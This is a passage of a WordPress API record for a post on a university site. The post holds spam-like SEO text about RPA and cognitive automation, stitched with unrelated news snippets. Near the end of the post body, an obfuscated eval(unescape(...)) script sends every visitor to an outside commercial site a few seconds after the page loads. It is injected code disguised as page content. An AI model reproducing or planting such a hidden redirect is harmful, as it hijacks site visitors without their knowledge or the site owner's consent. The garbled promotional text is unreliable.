Ono5o9S0jyWxS4jTzjqvB8000dGvhRAjQWKXQZsdFLUsxG01mdobbUGx1GkvWLCQy1pZN20aBpSMJua+BfC7NXoMXNGWZL7NKgLpcVkVSW20iOplbBuhLoSpfVOLSHFArAUbKGJdaq8B1OoKVZQ7knHOamFNY1G6gkdydx8+K7TbqvCuOLiM0TlDT3AHhQ9IkyXMvCWieue5IYcqUttp9yY9JdfWpvreqUsuTpRSsp1N9coIKAAA5st8OOGtBr9KzEzTam1VaNFdhwXahWJslLaXVKU6sJedUhTqisgukFwiydWkADrWc3UmgP9RN9JKSnuYKgR7BhJRxNyU851UepPsauYXGUWz6xb2YuCglkbmY028FQOMU0Lsk7gD4gH03KVz1LgupI3+XDZz\/Tm5WWJjaXEpOhR7Qv9idsM2Zxay1lpSUzjNYaXuhxlhTjK\/VuU\/ERbljjW+KVFzJTlsU+e0GHIzrralL09aUp7QsfgkX+Cd98KyhqoyHlptz4JH4nQTZoo5QXDhuPolvow3+ps4eEi38q8H\/YjHm79Fzv6Jls22NemW2t\/S7WPSPoxWPRs4dDc2ytAG\/9xTjze+i6m8LLI8K9N\/e7WMlbSgAKSSFm4PO5JsPL18se2PDgAcPcsg\/1oiH\/AESceIwJAIufH249ueGykO8O8sKFlXo8M3\/wKcZOG+87yWxifut81GXGngnSeJVXbkVGZPjNJYUw76NJ6lKiF9YkqvcEglNr\/akEEEjDA4Y5EqvDfM71NYrz0qM4ymOi6dUtlaXGShtOgKTo0pX3pA7O26rWsDTWsu9SjWRYq0i59uMFiOXQ+phsugWCykareF+eOgbVFoNmi5Fidb24LnTTZiLuNgbgaWBJueHE8kl12DUanl5cKLXnaLPcDRRNaQhZacCkm2lYKVBRGkjvCiAQbHENJ6KuWpFVps1zOkuSmGEB1hbDahJShQLiVAEJsXEg7pJGpSbkaQmYc70GRmfKVUocJ5lmZJjkw3nQShqSk62XDbeyXEoVt4YhyR0fs+xlqVQc8mBpLa2HIcpyM6w862pUx3UG1hxLkoh\/qlDSsgaiCBisrSVqX0Z6TlvN4zzljM06LU2FvvRUODVHZW6HUkBoHQWwh5QCdINwDqG4wqZx4GQc7Z6n5nqE4xokqltRkst2XeahZ0SVIUnTs0pbRTuFocUlW2NM\/wDDniNmjO0OqUPNrlMo6Cw1LbYrEthbscBRcR1SBoCyopIcSpKrbHxx3y9w1ztSY2aYk7PFSkirkNwVuVV51TKQ4shadSQphQQpKLIUq+kEm9sCE35XRZokxt6M\/mud6LNMh2ZHTEZS24883PbUUJtZDYTUnbNjbsI3+Fdx8ReBWUs\/SESJb3oD7USHChFltKRHEeT6QAjSUqAVYJUlKk9lIsQQCCbnDDPU+r0+BU81ykZcp8qcpaY1enNy5bDxfUwla0aVgtFxlI98VcNXvyThNd4OcSXhDed4hyjJKqiqev3UlkKW6mQiMpkcmtCX0g6Aj4IO9hgQlLI3R3oGQ8x0mu0ysvvIpAUWW3ozZdUpUNuKdT9usUjQ0khBNgSe7SAiz+ivl5unRWqJVnWpMBqGGkrabQ0+9HUVJceAQrVqJ7YKSFAWOxODqMk8QaTn2kx2Z9Yn0hueZKJKq1J6qJFD0lZZcQpZ9IKkLZT74CU6UhOoAlKkch8TYmbPpghZmS9HbnTH3Yr9WlFqe091wYSpspUiOI6HUgJbBDpbSpRSQkgQk\/hh0dqZkWVT6\/LqbcisRKrJqi1x4zaG7uokt9QkhKSGwmUTYBI1JBAHLBXMPRdyXmFD8dNblRnlOqefDCUo61S3pjl3koKSvac6BqP2Cb3FwV6mcNM0UfKD9CaqnpMh6uuVWR9eJbBmtuEqU2X0gusWWQqyLhWixsFqA5QeFWa6Zk7MFMbzRJertbegSFz01N9la1MR4zbnvhSst61MufBSbpWAfIuhNqN0RsmsKqgYzNVlpnqlhQeUHykPtTEKSvrCQoj09wg2B7Kb3JUpSlmbo50SucNaTw5n5xlx4sBc3RJ6tIWtckuGySVarp6whN1KKh\/NOsJ1Y5vcJ+KL5S2c09QoU3qRJiZhqDK\/STGbZUVIUlYcHYXpcUS4C7rN1ISMKdd4WZqrHDWFk6dMgVeooRKbXPqr5efih1Si2pt4snrC2khBJQlS0j4STckQidB6NeTaRnKm5xg1qSuZSpTsp9DZCA8+uTJkAqCCBe8pSDqCiUIQNt7qGWuCeTaXm5eaYFb9Lqcesv1ZVg0VtLddqK1skjtBN6k6P8Gjzwf4acPsw5FqtUdkLpsiPUnyp15C7SHT1sh0Pr96HaPWto6vUUiy3NRUpQU1aRwd4hUKvqrtOqVJQuNUapKaSmYtHpbEyrib1S1IjhTVm7oN1PBRtbSMCEekdGbKEuRPkPVGQFTJrkxpbbDaHYxcqSp60oWBcXcWpGoWOiw3tfBrL\/R7omXMhP5IhVuSsPVSJVhIfb65HXRupDSVNuKUFoIjo1Anfe2myQnvkrJ\/EWEzVqXmLMst8R6PHp8F8ynO3Mcit+lPhZUVqSHUAoUoBSStwAWtdFh8KeLTMdllOe3IrzUcMx5RrM2UuIQt9S1LQsBuWp0OtglYQG+rGhOwsIXFXRYyu5nCBm+o19ySiniLrhKgstxnksIhgBTaAGki8FB7KE21EcgkJkrIWTTkajs0KJVzKpsZkNRGPRm2w1744rVdA7RKVoSb7e93AGo4j+Jwhz+uo1GfPzbKTEdTERTqV7vzpDMRoKUJTbjjgvI61JJCnUKKCvSLBCSZepkUQadFghAQI7DbISFagNKQLaiAT67D1YEIze++BcnfA7z6sDa\/sthEKEePOest5OrUNdcnLaddi+9NobUoqGsgm42HtIwkcCq9EzPTMyVyC2tDMqs9hK7agExmU72804YfTYU27m+hspc0uJp5JOruK12HyH5ML3RQ61PD+qolBSXfddeq+x\/mLfdjQmkLqRjTuB+qqxQNZUOkG8\/7KV8xkCgzTpTcIAv37kYlnLRJocceCE\/gjESZmSlVDmLvYhCe77oYlzLItQ2PNCPwRjPVsrwi4oZup8TjVn2kl9DTzeZaiVBdr3Epwggk7Gxtcdxw48tZlZUsKbcUsJTqUm5tc7XNtu7z+av\/AElVra6RHEVxCyFDM1QIP+HVhvULiJV6QENrUpxCVXuFWIHhyJ5bbY6nC+kBpWiKYXaNxC5nE8AFU4ywnU7wVeSlT4ksIBQldxum4v32v5ff2w9qUzFDyXobpZWk3HVEp3tbcDbl4jFPsmcbWCsJeltoWsFOhz4RuOQ27j5Hl7MTRlfilTJRQ8tYSrSQkdYB3\/KLev2Y7akxKnrG3icCuDxDCKinJa9pCntDYmAemNturB2WkaF39Y54MCAsJs08pSSLaHRz9vfhjUXPUB9JSZKTt8GwUDv8nfv\/AMsO6DX2XAnSoGwKj2ue2\/cfC+L2\/cuXqIJ4fcH398kccia7oejp3SU2KAoW8vD2YTpOWG16VRVdQu51H4SVbHa3d3eI25d+Fxiew+DY2I9vtwaSUmxJ28RvirUUUFSLSNv38fVX8F6Z450Zlz0Ezmc23u0+LTofmmDLpk6EQJDKkJ+xdTuD7R6sHKTmeuUZsxmJfXRVfDjyBrbVbyNtJttdJB8CMPVMRoo0snWDsWym+oeBHf8An5YSKjklmU2r0Fa4SyNRAGoWHPZV7fexztTg8sBz07r\/AAK95wL8ZcMxuD2HpLTtsdDcBzD5G5b6kDuWjGcaJJ2lRpEFze5R78yT3W5KSOfPUfxLEKrRyoKp9RjSCUnToWCod99J3v6xhlTcr1yFqW5Ti+0SNCmTcEfnfCU+gRlJ9I96KbKSHkWA77WV6+WI48TrafqSDN4jX1\/5V2r\/AA06CdJT7RhU5p3HXqODmf4uufIOAU50GvIadbZccU0odn3ze\/3t9hiTKFUUBAKXAEEXBTbnyv7Pk9mKn07MFVhpR6PNEllNgG3j1iLDuG5I8NiMP7KXFv3KcQ3MYlRmyq6kNkOtAfchXbR6wo8vPDZ6uGrb1gWu9R6\/7Lmp\/wAL8cwB20opG1UXNpyvHiwm3+Lie5XEoVYRJZTuAFev8eF1p47LadABHjiFcsZ+pdUSh+FUGVBwhSAuQkqI8tRufCx3G\/rw5Klm2XTGTILRLYTr6xAuAnuvYn8\/DGDJRue\/K1Vm1ns7C6UFtuYIsn5WINKrkUxazGQpHNKxspJ8QeY9mImzdwyERp6qUieioRWgXHdIHXsoANyoD4YHiADsNjhqZm4xTnkLjRTpJBSdO19vb488R3IzHXJ0sOioSA4okIDSik78x2fHG9huDVcPWz5Ry3\/8LjMb6UYZUHZCIvdzGn\/P3uThXnJqmRHoMZbM9l9BQptSLtb33352vcHnfww1naU5OgvypmiLELbigootq2PwB32vz7vHHQvU+gtmVVEodkC5Q2SFIHme4nbv29eGtmTN0uoB3UW1ADV8GwBTcAWGxAA8+e99rX6qviowW0\/vHirvRfoDifSiRk1U0tjG4d2\/U8PC9\/BXY6MHa6NfDvw+lWAAf8AnHnB9F2v6Hlq4AvXpp5W\/pdr48ej\/AEX7fU08Orf9lYHL+4DHnB9F12h5ZFyR7uzO\/wDsDePNV6SRbRV3xL+WOlv0hsnUKJlvL\/EeSxT4LfVR2nYcZ8toHJIU42pVhyAvsNhiHQCEnu7W25O9\/nxshWtIVawUARjmWuczVpsunc1rxZwup1+rd6T3\/wC5zn+a4X5HA+re6Tx\/957n+a4X5HEFkXBG+\/hjUpvfZNzyJHhy+XDxPL2j6pmwi7I9Ap3+re6Ttv8A1muf5rhfkcbJ6bvSZ7+J71+761wgB\/ofz+TEDWVuUkXvuD6vkwEOJWSADsAd\/PBtpe0fUo2MXZHoFYaN03ukfaz3EIqFtrwIgPPyat97fB6P01+kM7svPqib7BMCLb1bt+OK3Xtyx2TJc233Hfbf14NvJ2j6lKIIuyPQKyrHTX49tLS5Nz+rTcWSafF8eSve\/mtibuH3TwElDUPiDQ3gRZK5tOXex8VMqPtNleoYojDkOOLUpTig6pqwXsRba9wRY3wfizgl8OKjpcKld5tY89ufhh0dVPEczXX8dfmh9JBK3K5tvDT5L1pyZxcyTn9hL2VM3R5qyNRjl0ofSPum1WUPiw5HKktpSUvVDq9ZskKdtc+Avzx5GUuvS4Sw82662tBASptXaSbEXB8d+fMYecfP1dCA1PfVMRpCffFkq2FrhRub8vixqwYxGdJmW7x9FmTYK7fC8+B+q9Ic0cUsoZMfRFzNm2NAfdbLqGnXjrUkd9hc+rx3wy650mciRaPJnUHMfulJaQShpCXBvfmSUi1ufn7cUkRKl5kltidLedeTpbU66srVp0iwBO9hyGDVSYbo9QIaTdhaiAi5JSRtz7+eOhhbBOwOj1v3LEkhlhdaS+nepmo\/Su4lR6u9Ll1RNSgFe0V1lDdkat9KkJBvbxv7cL+YektxEehGo0maxCaWfekNoDtx90VC+wv3Dl7MV2YaI9LgoKQpI61BtcbDdJ8rH5Ma0mpOw3VvKbS42UjrGyT2rWF\/XviV1Ox24bkjJLHrcVYii9JbiJR57cmvTfdelywCmwQ2tgnuKkJFx37jutfAZ6Tefswy5Bp1WYgRW1kNBtpKllPcSV3BOx5Ad2IOrvpUCDFpyXUqaSjrt+YC7EJv4AEYRoEqRCkyKIlyzT6gCUdk67m2\/gbbjEWxY9hsAn5g19z81PNW468ZVPWpmeepCUguJVDZVp876De978tvjwTf498ZoKesn8RSEawDohRwbbXNurueZGIqpgK0pQ2NFlDUq9ySSfx3+TBiTREVF3QFhOgqSnaw0\/CHLCCJjSGkfBPvmGZo+Kkh3pN8TZMmQ5Fzs4yww4lKEmKxd1ABJVugne33sJdS6TPGdiQ83H4hKsgBSAIEY3va4vo7sRl7kp68tNu2UlfVLNrA322G+CdRYLEiynCoFIUBa1ge7E0cEV9AoXvfbVSUOlHx0AUPp5cuf7Sjbf6PGU9KHjoQb55c5ix9Bjbf6PEZGA56EJoUnQXA3a+97X8MH\/cVcRpt18tuKdQtSEgkAW8Ta55Hb58SFkI\/SPRRAvPFHMz54zDnypmq5zqkipS7JSHDpTZA+xASLAbnkO\/FoejE9GfyZWHYiVhpdXIQFc9mGvx4rDQYo1dU6ElxTQWggbDUqwv8Xy4s50XlpXkutFKdIFacTYeTLQ\/FijWFpAa0WsrULSBc8VJ2YzpoM0+LYHIW+EMS7lq\/uJH3+wSf3IxEteZW\/RpTSNAK0pAPL7IHf4sSbQapHj0lhtaHCQhI2AtyHnjOUpXzodJj\/pC8Rh4ZmqA\/06sRpizvSF6PGdKzxwz1WYlUoiGZ9fnSEJcedCkpU8ogGzZF7eeI9+pnz3\/Xag\/t735LD0iiTCzR82VqjKtHlrU33oWbj5cPyb0cc7wYj0x6q0MoZSVqCX3rkeXvWGhU8gVmk5cTmeRJhKiqd6kIQtZc1aiORSBbbxw5j3RnMw2Ka9jZBlcLhP3K\/GhyP1SJZQgJ20q+CLevbnfv8OeJfy9xigyNKly9CyRZQXtci2+1\/HYW798U9x3ZnTY+8eW633dhZT97143qTpHV0+j+sO9YVX0dpKnVvVPwXoLQ+J7L60vM1FC9NgAo7D222Prw86Tn5ohLjj6Vne+gnRqtzOPOik8Qa5TSEuuB9sADSoDbf\/n\/ABYkzLPEmqy0kBboWk6rkg23tsTcjfHR0vSinns2QFp9Vy1d0OcAS2zh6FXzpub4MkpKnwD3KT3EH\/lhwQazFdBaTK1tkEEIUAo\/H+LFL6XxHqDRQ4+hSx3ALNrWsbgnfxG\/z4fVG4gzi23IW48ArtgixPxE434545hcLj6jo9s3HIbFW6p7sSW6VpeShazuDsDgzMyY3MSVmOhu\/aBSBpNr8x8Z8eeK90XP9YiAOBxSgncEnf5u\/wAsStkbi7UkdUmVFEllVrtrPOx\/iO+K88Mo1h17ikigbCP4ndzbw7+foj1Q4cS20LcbhNOi1wSk2G3ruPbhrO0VqOpbVRhL1AWXp97I9Wnlti0OWEUrN9NRIiRXIq+rsoOK1hV+ZPfe++G5m7JVOcKmXQkuNFJDgTYm4B3t68YkWIU8khiqYwD4LrSzGKCnE+H1Tiy2gLju81AEaDS0lKXYi13QLqCzcHe5A28fZhwUuuSae2unxqvL6hQKFtvOE2Frb77bAeA9QvjFaoaaY+uN1mopJFxe1xhFUNJtpB7vi\/542fy2mdZzRZYw6ZYpO0wzyFw4h2v1S7UPRlN9ZF64PLO+pVye7YHzv8mNHprGXoJW2LvOJ7030ixvued9yTz78EafqL6d73JIv43HPDfzDPcmzXQdg2vRa3kCPkI9t8VMRndTRCIG63+g2BU+P4qJpGgAcALAW4258kWkzpEl5bzjqjqVfmeV9vnwRkBSo7pKhbQq23dbG6F3JP2vPGkm\/VuBNhZKgfMkY5GUk3JX2Bh8MVNTCOFoAA+QXoB0X7fU1cOjb\/2Vgc\/7iMeb\/wBF0v6Flq5uPd6aB5D0drHo30VnUP8ARn4elAICctxWjfxSjSfZcY85vovB0xcsNHn7ty17crFhv5sc8vB3byv\/2Q==\" width=\"303px\" alt=\"cognitive automation use cases\" \/><\/p>\n<p><p>In the insurance sector, organizations use cognitive automation to improve customer experiences and reduce operational costs. For example, it can be used for automated claims processing and fraud detection. Hyperautomation, in turn, is the pinnacle of intelligent automation, which leaders are now aiming for.<\/p>\n<\/p>\n<p><h2>Combining RPA and Cognitive Automation<\/h2>\n<\/p>\n<p><p>Leveraging the full capacity of your chosen solution should be of utmost importance. With RPA + Fraud detection, financial institutions will be able to gather information on user\u2019s transactions from different sources, process the information, and feed into analysis systems and do predictive analysis. This enables to track any fraudulent transaction and red flags which can be notified to the relevant authorities. For instance, considering  a use-case where email streamlining is automated. Based on the content of the email, the email needs to be either sent an automated reply or further escalated to the concerned department.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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width=\"308px\" alt=\"cognitive automation use cases\" \/><\/p>\n<p><p>Such an approach saves companies hours or even days on manual tracking and enables them to stop crime by blocking payments and accounts immediately. Meanwhile, by integrating RPA into front office operations, banks cover more communication channels to reach consumers promptly and effectively. It results in fewer complaints and better loyalty rates thanks to superior customer experience (CX). Additionally, users can set up automatic bill payment and invoice processing. To optimize resizing processes for different deep learning and computer vision analyses. The Media and Entertainment industry is boundless, with tons of video material, which can be counted in hundreds of hours of tiring routine work performed by hundreds of people.<\/p>\n<\/p>\n<div style='border: grey dashed 1px;padding: 10px'>\n<h3>What Is Post-Shingles Encephalitis? Dianne Feinstein\u2019s Recent Illness &#8211; The New York Times<\/h3>\n<p>What Is Post-Shingles Encephalitis? Dianne Feinstein\u2019s Recent Illness.<\/p>\n<p>Posted: Thu, 18 May 2023 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMiVWh0dHBzOi8vd3d3Lm55dGltZXMuY29tLzIwMjMvMDUvMTgvaGVhbHRoL2VuY2VwaGFsaXRpcy1zaGluZ2xlcy1kaWFubmUtZmVpbnN0ZWluLmh0bWzSAQA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>And with our integrations and APIs, it\u2019s simple to incorporate C-RPA insights into your current workflow. With smarter routing and automatic responses, C-RPA reduces cost and effort while freeing up staff to work on more strategic initiatives for your organization. By making RPA efforts more intelligent, adaptive, and reliable, C-RPA puts your business miles ahead of your competitors. Make intelligent AI and ML-based decisions automatically and free up your staff to focus on high-level initiatives.<\/p>\n<\/p>\n<ul>\n<li>This enables to track any fraudulent transaction and red flags which can be notified to the relevant authorities.<\/li>\n<li>While there are many data science tools and well-supported machine learning approaches, combining them into a unified (and transparent) platform is very difficult.<\/li>\n<li>Thomson Reuters\u2019 \u201cKnow Your Customer Survey\u201d revealed that financial institutions all over the globe spend from $60 to $500 million on KYC compliance and customer due diligence annually.<\/li>\n<li>It ensures smarter risk mitigation and retirement plans and helps traders accelerate decision making and ROI.<\/li>\n<li>Cognitive computing is not a machine learning method; but cognitive systems often make use of a variety of machine-learning techniques.<\/li>\n<li>Often these processes are the ones that have insignificant business impacts, processes that change too frequently to have noticeable benefits, or a process where errors are disproportionately costly.<\/li>\n<\/ul>\n<p><p>So now it is clear that there are differences between these two techniques. To create an RPA solution one must learn the operational part of the business in the tiniest details, and then design software to perform everyday human activities smoothly and efficiently. According to the global Statista survey, 39% of respondents share the opinion that intelligent automation is implemented in their enterprises to streamline operational activities. RPA worldwide revenue is growing constantly as it\u2019s seen in the chart below. The global RPA market is expected to reach USD 3.11 billion by 2025, according to a new study by Grand View Research, Inc. At the same time, the Artificial Intelligence (AI) market which is a core part of cognitive automation is expected to exceed USD 191 Billion by 2024 at a CAGR of 37%.<\/p>\n<\/p>\n<div style='border: black dotted 1px;padding: 10px'>\n<h3>Three Strategies to Advance the Productivity of DevOps with &#8230; &#8211; Wipro<\/h3>\n<p>Three Strategies to Advance the Productivity of DevOps with &#8230;.<\/p>\n<p>Posted: Thu, 08 Jun 2023 07:37:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMibGh0dHBzOi8vd3d3LndpcHJvLmNvbS9lbmdpbmVlcmluZy90aHJlZS1zdHJhdGVnaWVzLXRvLWFkdmFuY2UtdGhlLXByb2R1Y3Rpdml0eS1vZi1kZXZvcHMtd2l0aC1nZW5lcmF0aXZlLWFpL9IBAA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<div>\n<div>\n<h2>Is RPA a cognitive technology?<\/h2>\n<\/div>\n<div>\n<div>\n<p>Cognitive RPA is a term for Robotic Process Automation (RPA) tools and solutions that leverage Artificial Intelligence (AI) technologies such as Optical Character Recognition (OCR), Text Analytics, and Machine Learning to improve the experience of your workforce and customers.<\/p>\n<\/div><\/div>\n<\/div>\n<p>eval(unescape(&#8220;%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27November%205%2C%202020%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A\/\/www.metadialog.com\/%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B&#8221;));<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do not disregard employee education as a key step towards RPA automation. To increase accuracy and reduce human error, Cognitive Automation tools are starting to make their presence felt in major hospitals all over the world. With the implementation of these tools, hospitals can free up one of the most important resources they have, human &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/?p=3661\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;All About RPA vs  Intelligent Automation vs. Hyperautomation&#8221;<\/span><\/a><\/p>\n","protected":false},"author":74,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3661","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/3661","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/users\/74"}],"replies":[{"embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3661"}],"version-history":[{"count":1,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/3661\/revisions"}],"predecessor-version":[{"id":3662,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/3661\/revisions\/3662"}],"wp:attachment":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3661"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3661"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3661"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}